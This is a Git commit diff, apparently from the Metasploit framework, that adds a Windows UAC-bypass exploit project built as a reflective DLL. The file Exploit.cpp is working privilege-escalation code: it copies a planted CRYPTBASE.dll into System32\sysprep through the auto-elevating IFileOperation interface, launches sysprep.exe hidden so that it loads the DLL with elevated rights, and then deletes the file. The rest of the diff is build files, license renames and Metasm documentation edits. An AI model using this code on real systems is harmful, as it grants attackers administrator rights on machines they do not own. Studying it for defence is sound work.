*.pch
*.pdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*.log
*.vspscc
*.vssscc
.builds
*.pidb
*.log
*.scc
# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opensdf
*.sdf
*.cachefile
# Visual Studio profiler
*.psess
*.vsp
*.vspx
# Guidance Automation Toolkit
*.gpState
# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
# TeamCity is a build add-in
_TeamCity*
# DotCover is a Code Coverage Tool
*.dotCover
# NCrunch
*.ncrunch*
.*crunch*.local.xml
# Installshield output folder
[Ee]xpress/
# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html
# Click-Once directory
publish/
# Publish Web Output
*.Publish.xml
*.pubxml
# NuGet Packages Directory
## TODO: If you have NuGet Package Restore enabled, uncomment the next line
#packages/
# Windows Azure Build Output
csx
*.build.csdef
# Windows Store app package directory
AppPackages/
# Others
sql/
*.Cache
ClientBin/
[Ss]tyle[Cc]op.*
~$*
*~
*.dbmdl
*.[Pp]ublish.xml
*.pfx
*.publishsettings
# RIA/Silverlight projects
Generated_Code/
# Backup & report files from converting an old project file to a newer
# Visual Studio version. Backup files are not needed, because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm
# SQL Server files
App_Data/*.mdf
App_Data/*.ldf
# =========================
# Windows detritus
# =========================
# Windows image file caches
Thumbs.db
ehthumbs.db
# Folder config file
Desktop.ini
# Recycle Bin used on file shares
$RECYCLE.BIN/
# Mac crap
.DS_Store

View File

@ -0,0 +1,28 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2013
VisualStudioVersion = 12.0.21005.1
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "bypassuac", "dll\reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Debug|x64 = Debug|x64
Release|Win32 = Release|Win32
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.ActiveCfg = Release|x64
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.Build.0 = Release|x64
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.ActiveCfg = Release|x64
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,204 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}</ProjectGuid>
<RootNamespace>reflective_dll</RootNamespace>
<Keyword>Win32Proj</Keyword>
<ProjectName>bypassuac</ProjectName>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PlatformToolset>v120</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup>
<_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<IntDir>$(Platform)\$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
<TargetName>$(ProjectName)-x86</TargetName>
<IncludePath>$(VCInstallDir)include;$(VCInstallDir)atlmfc\include;$(WindowsSDK_IncludePath);..\..\..\ReflectiveDLLInjection\common\;..\..\..\ReflectiveDLLInjection\dll\src\</IncludePath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
<TargetName>$(ProjectName)-x64</TargetName>
<IncludePath>$(VCInstallDir)include;$(VCInstallDir)atlmfc\include;$(WindowsSDK_IncludePath);..\..\..\ReflectiveDLLInjection\common\;..\..\..\ReflectiveDLLInjection\dll\src\;</IncludePath>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<TargetMachine>MachineX86</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<TargetMachine>MachineX64</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX86</TargetMachine>
</Link>
<PostBuildEvent>
<Command>
IF EXIST "..\..\..\..\..\data\post\" GOTO COPY
mkdir "..\..\..\..\..\data\post\"
:COPY
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\post\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<CompileAs>CompileAsCpp</CompileAs>
</ClCompile>
<Link>
<OutputFile>$(OutDir)$(TargetName)$(TargetExt)</OutputFile>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX64</TargetMachine>
</Link>
<PostBuildEvent>
<Command>
IF EXIST "..\..\..\..\..\data\post\" GOTO COPY
mkdir "..\..\..\..\..\data\post\"
:COPY
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\post\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="src\Exploit.cpp" />
<ClCompile Include="src\ReflectiveDll.c" />
<ClCompile Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="src\Exploit.h" />
<ClInclude Include="..\..\..\ReflectiveDLLInjection\common\ReflectiveDLLInjection.h" />
<ClInclude Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,119 @@
#include "Exploit.h"
void exploit()
{
const wchar_t *szSysPrepDir = L"\\System32\\sysprep\\";
const wchar_t *szSysPrepDir_syswow64 = L"\\Sysnative\\sysprep\\";
const wchar_t *sySysPrepExe = L"sysprep.exe";
const wchar_t *szElevDll = L"CRYPTBASE.dll";
const wchar_t *szSourceDll = L"CRYPTBASE.dll";
wchar_t szElevDir[MAX_PATH] = {};
wchar_t szElevDir_syswow64[MAX_PATH] = {};
wchar_t szElevDllFull[MAX_PATH] = {};
wchar_t szElevDllFull_syswow64[MAX_PATH] = {};
wchar_t szElevExeFull[MAX_PATH] = {};
wchar_t path[MAX_PATH] = {};
wchar_t windir[MAX_PATH] = {};
const wchar_t *szElevArgs = L"";
const wchar_t *szEIFOMoniker = NULL;
PVOID OldValue = NULL;
IFileOperation *pFileOp = NULL;
IShellItem *pSHISource = 0;
IShellItem *pSHIDestination = 0;
IShellItem *pSHIDelete = 0;
const IID *pIID_EIFO = &__uuidof(IFileOperation);
const IID *pIID_EIFOClass = &__uuidof(FileOperation);
const IID *pIID_ShellItem2 = &__uuidof(IShellItem2);
GetWindowsDirectoryW(windir, MAX_PATH);
GetTempPathW(MAX_PATH, path);
/* %temp%\cryptbase.dll */
wcscat_s(path, MAX_PATH, szSourceDll);
/* %windir%\System32\sysprep\ */
wcscat_s(szElevDir, MAX_PATH, windir);
wcscat_s(szElevDir, MAX_PATH, szSysPrepDir);
/* %windir%\sysnative\sysprep\ */
wcscat_s(szElevDir_syswow64, MAX_PATH, windir);
wcscat_s(szElevDir_syswow64, MAX_PATH, szSysPrepDir_syswow64);
/* %windir\system32\sysprep\cryptbase.dll */
wcscat_s(szElevDllFull, MAX_PATH, szElevDir);
wcscat_s(szElevDllFull, MAX_PATH, szElevDll);
/* %windir\sysnative\sysprep\cryptbase.dll */
wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDir_syswow64);
wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDll);
/* %windir%\system32\sysprep\sysprep.exe */
wcscat_s(szElevExeFull, MAX_PATH, szElevDir);
wcscat_s(szElevExeFull, MAX_PATH, sySysPrepExe);
if (CoInitialize(NULL) == S_OK)
{
if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**) &pFileOp) == S_OK)
{
if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) == S_OK)
{
if (SHCreateItemFromParsingName((PCWSTR) path, NULL, *pIID_ShellItem2, (void**) &pSHISource) == S_OK)
{
if (SHCreateItemFromParsingName(szElevDir, NULL, *pIID_ShellItem2, (void**) &pSHIDestination) == S_OK)
{
if (pFileOp->CopyItem(pSHISource, pSHIDestination, szElevDll, NULL) == S_OK)
{
/* Copy the DLL file to the sysprep folder*/
if (pFileOp->PerformOperations() == S_OK)
{
/* Execute sysprep.exe */
SHELLEXECUTEINFOW shinfo;
ZeroMemory(&shinfo, sizeof(shinfo));
shinfo.cbSize = sizeof(shinfo);
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
shinfo.lpFile = szElevExeFull;
shinfo.lpParameters = szElevArgs;
shinfo.lpDirectory = szElevDir;
shinfo.nShow = SW_HIDE;
Wow64DisableWow64FsRedirection(&OldValue);
if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL)
{
WaitForSingleObject(shinfo.hProcess, 10000);
CloseHandle(shinfo.hProcess);
}
if (S_OK == SHCreateItemFromParsingName(szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete))
{
if (0 != pSHIDelete)
{
if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
{
pFileOp->PerformOperations();
// If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path
// DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see:
// http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx
if (S_OK == SHCreateItemFromParsingName(szElevDllFull_syswow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete))
{
if (0 != pSHIDelete)
{
if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
{
pFileOp->PerformOperations();
}
}
}
}
}
}
}
}
}
}
}
}
}
}

View File

@ -0,0 +1,8 @@
#include <Windows.h>
#include <commctrl.h>
#include <shlobj.h>
#include <Shellapi.h>
#include <stdio.h>
#include <guiddef.h>
EXTERN_C void exploit();

View File

@ -0,0 +1,26 @@
#include "ReflectiveLoader.h"
#include "Exploit.h"
extern HINSTANCE hAppInstance;
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
exploit();
ExitProcess(0);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}

View File

@ -0,0 +1,38 @@
@ECHO OFF
IF "%VCINSTALLDIR%" == "" GOTO NEED_VS
IF "%1"=="x86" GOTO BUILD_X86
IF "%1"=="X86" GOTO BUILD_X86
IF "%1"=="x64" GOTO BUILD_X64
IF "%1"=="X64" GOTO BUILD_X64
ECHO "Building Exploits x64 and x86 (Release)"
SET PLAT=all
GOTO RUN
:BUILD_X86
ECHO "Building Exploits x86 (Release)"
SET PLAT=x86
GOTO RUN
:BUILD_X64
ECHO "Building Exploits x64 (Release)"
SET PLAT=x64
GOTO RUN
:RUN
ECHO "Building Bypass UAC Injection"
msbuild.exe make.msbuild /target:%PLAT%
FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j
SET LDT=%LDT:~0,4%-%LDT:~4,2%-%LDT:~6,2% %LDT:~8,2%:%LDT:~10,2%:%LDT:~12,6%
echo Finished %ldt%
GOTO :END
:NEED_VS
ECHO "This command must be executed from within a Visual Studio Command prompt."
ECHO "This can be found under Microsoft Visual Studio 2013 -> Visual Studio Tools"
:END

View File

@ -0,0 +1,19 @@
<?xml version="1.0" standalone="yes"?>
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<SolutionPath>.\bypassuac_injection.sln</SolutionPath>
</PropertyGroup>
<Target Name="all" DependsOnTargets="x86;x64" />
<Target Name="x86">
<Message Text="Building Bypass UAC (Injection) Release version x86" />
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=Win32" Targets="Clean;Rebuild"/>
</Target>
<Target Name="x64">
<Message Text="Building Bypass UAC (Injection) Release version x64" />
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=x64" Targets="Clean;Rebuild"/>
</Target>
</Project>

View File

@ -52,6 +52,13 @@ IF "%ERRORLEVEL%"=="0" (
PUSHD bypassuac
msbuild.exe make.msbuild /target:%PLAT%
POPD
)
IF "%ERRORLEVEL%"=="0" (
ECHO "Building bypassuac (in-memory)"
PUSHD bypassuac_injection
msbuild.exe make.msbuild /target:%PLAT%
POPD
)
FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j

View File

@ -1,6 +1,6 @@
; Title: Windows Bind Stager (NX, IPv6)
; Platforms: Windows NT 4.0, Windows 2000, Windows XP, Windows 2003
; Author: Rapid7 LLC
; Author: Rapid7, Inc
[BITS 32]

View File

@ -1,6 +1,6 @@
; Title: Windows Reverse Connect Stager (NX, IPv6)
; Platforms: Windows NT 4.0, Windows 2000, Windows XP, Windows 2003, Windows Vista
; Author: Rapid7 LLC
; Author: Rapid7, Inc
[BITS 32]

View File

@ -1,4 +1,4 @@
Copyright (C) 2006-2010, Rapid7 LLC
Copyright (C) 2006-2010, Rapid7, Inc
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
@ -11,7 +11,7 @@ are permitted provided that the following conditions are met:
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of Rapid7 LLC nor the names of its contributors
* Neither the name of Rapid7, Inc nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.
@ -24,4 +24,4 @@ ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

View File

@ -1,4 +1,4 @@
// Copyright (C) 2006-2010, Rapid7 LLC
// Copyright (C) 2006-2010, Rapid7, Inc
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification,
@ -11,7 +11,7 @@
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * Neither the name of Rapid7 LLC nor the names of its contributors
// * Neither the name of Rapid7, Inc nor the names of its contributors
// may be used to endorse or promote products derived from this software
// without specific prior written permission.
//
@ -105,4 +105,4 @@ DWORD WINAPI context_message_thread( LPVOID lpParameter );
//===============================================================================================//
#endif
//===============================================================================================//
//===============================================================================================//

View File

@ -1,4 +1,4 @@
// Copyright (C) 2006-2010, Rapid7 LLC
// Copyright (C) 2006-2010, Rapid7, Inc
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification,
@ -11,7 +11,7 @@
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * Neither the name of Rapid7 LLC nor the names of its contributors
// * Neither the name of Rapid7, Inc nor the names of its contributors
// may be used to endorse or promote products derived from this software
// without specific prior written permission.
//
@ -99,4 +99,4 @@ DWORD inject_dll( DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght );
//===============================================================================================//
#endif
//===============================================================================================//
//===============================================================================================//

View File

@ -1,4 +1,4 @@
// Copyright (C) 2006-2010, Rapid7 LLC
// Copyright (C) 2006-2010, Rapid7, Inc
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification,
@ -11,7 +11,7 @@
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * Neither the name of Rapid7 LLC nor the names of its contributors
// * Neither the name of Rapid7, Inc nor the names of its contributors
// may be used to endorse or promote products derived from this software
// without specific prior written permission.
//

View File

@ -1,4 +1,4 @@
// Copyright (C) 2006-2010, Rapid7 LLC
// Copyright (C) 2006-2010, Rapid7, Inc
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification,
@ -11,7 +11,7 @@
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * Neither the name of Rapid7 LLC nor the names of its contributors
// * Neither the name of Rapid7, Inc nor the names of its contributors
// may be used to endorse or promote products derived from this software
// without specific prior written permission.
//
@ -74,4 +74,4 @@ DWORD ps_getnativearch( VOID );
//===============================================================================================//
#endif
//===============================================================================================//
//===============================================================================================//

View File

@ -1,4 +1,4 @@
// Copyright (C) 2006-2010, Rapid7 LLC
// Copyright (C) 2006-2010, Rapid7, Inc
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification,
@ -11,7 +11,7 @@
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * Neither the name of Rapid7 LLC nor the names of its contributors
// * Neither the name of Rapid7, Inc nor the names of its contributors
// may be used to endorse or promote products derived from this software
// without specific prior written permission.
//
@ -39,4 +39,4 @@ DWORD session_inject( DWORD dwSessionId, DLL_BUFFER * pDllBuffer );
//===============================================================================================//
#endif
//===============================================================================================//
//===============================================================================================//

View File

@ -1,7 +1,2 @@
# Load a slightly tweaked METASM stub
require 'metasm/metasm'
# Manually load the classes we need from METASM
require 'metasm/ia32'
require 'metasm/mips'
require 'metasm/exe_format/shellcode'

View File

@ -1,2 +0,0 @@
repo: a1be49ad3727a7dab9202f848ad39b5674e1aada
node: 7ec6509ea16231e365fffc91014755c810c27536

View File

@ -21,6 +21,10 @@ Ready-to-use scripts can be found in the samples/ subdirectory, check the
comments in the scripts headers. You can also try the --help argument if
you're feeling lucky.
For more information, check the doc/ subdirectory. The text files can be
compiled to html using the misc/txt2html.rb script.
Here is a short overview of the Metasm internals.
@ -167,8 +171,8 @@ You can encode/decode an ExeFormat (ie decode sections, imports, headers etc)
Constructor: ExeFormat.decode_file(str), ExeFormat.decode_file_header(str)
Methods: ExeFormat#encode_file(filename), ExeFormat#encode_string
PE and ELF files have a LoadedPE/LoadedELF counterpart, that is able to work
with memory-mmaped versions of those formats (e.g. to debugging running
PE and ELF files have a LoadedPE/LoadedELF counterpart, that are able to work
with memory-mmaped versions of those formats (e.g. to debug running
processes)
@ -198,27 +202,31 @@ disassembly/patching easily (using LoadedPE/LoadedELF as ExeFormat)
Debugging:
Metasm includes a few interfaces to allow live debugging.
Metasm includes a few interfaces to handle debugging.
The WinOS and LinOS classes offer access to the underlying OS processes (e.g.
OS.current.find_process('foobar') will retrieve a running process with foobar
in its filename ; then process.mem can be used to access its memory.)
The Windows and Linux debugging APIs (x86 only) have a basic ruby interface
(PTrace32, extended in samples/rubstop.rb ; and WinDBG, a simple mapping of the
windows debugging API) ; those will be more worked on/integrated in the future.
The Windows and Linux low-level debugging APIs have a basic ruby interface
(PTrace and WinAPI) ; which are used by the unified high-end Debugger class.
Remote debugging is supported through the GDB server wire protocol.
High-level debuggers can be created with the following ruby line:
Metasm::OS.current.create_debugger('foo')
Only one kind of host debugger class can exist at a time ; to debug multiple
processes, attach to other processes using the existing class. This is due
to the way the OS debugging API works on Windows and Linux.
The low-level backends are defined in the os/ subdirectory, the front-end is
defined in debug.rb.
A linux console debugging interface is available in samples/lindebug.rb ; it
uses a SoftICE-like look and feel.
This interface can talk to a gdb-server through samples/gdbclient.rb ; use
[udp:]<host:port> as target.
uses a (simplified) SoftICE-like look and feel.
It can talk to a gdb-server socket ; use a [udp:]<host:port> target.
The disassembler scripts allow live process interaction by using as target
'live:<pid or part of filename>'.
A generic debugging interface is available, it is defined in metasm/os/main.rb
It may be accessed using the Metasm::OS.current.create_debugger('foo')
It can be viewed in action using the GUI and 'open live' target.
The disassembler-gui sample allow live process interaction when using as
target 'live:<pid or part of program name>'.
C Parser:
@ -236,7 +244,11 @@ It handles all the constructs i am aware of, except hex floats:
- __int8 etc native types
- Label addresses (&&label)
Also note that all those things are parsed, but most of them will fail to
compile on the Ia32 backend (the only one implemented so far.)
compile on the Ia32/X64 backend (the only one implemented so far.)
Parsing C files should be done using an existing ExeFormat, with the
parse_c_file method. This ensures that format-specific macros/ABI are correctly
defined (ex: size of the 'long' type, ABI to pass parameters to functions, etc)
When you parse a C String using C::Parser.parse(text), you receive a Parser
object. It holds a #toplevel field, which is a C::Block, which holds #structs,
@ -249,15 +261,11 @@ CExpressions...)
A C::Parser may be #precompiled to transform it into a simplified version that
is easier to compile: typedefs are removed, control sequences are transformed
in if () goto ; etc.
into 'if (XX) goto YY;' etc.
To compile a C program, use PE/ELF.compile_c, that will create a C::Parser with
exe-specific macros defined (eg __PE__ or __ELF__).
The prefered way to create a C::Parser is to initialize it with a CPU and the
desired ExeFormat, so that it is
correctly initialized (eg type sizes: is long 4 or 8 bytes? etc) ; and
may define preprocessor macros needed to correctly parse standard headers.
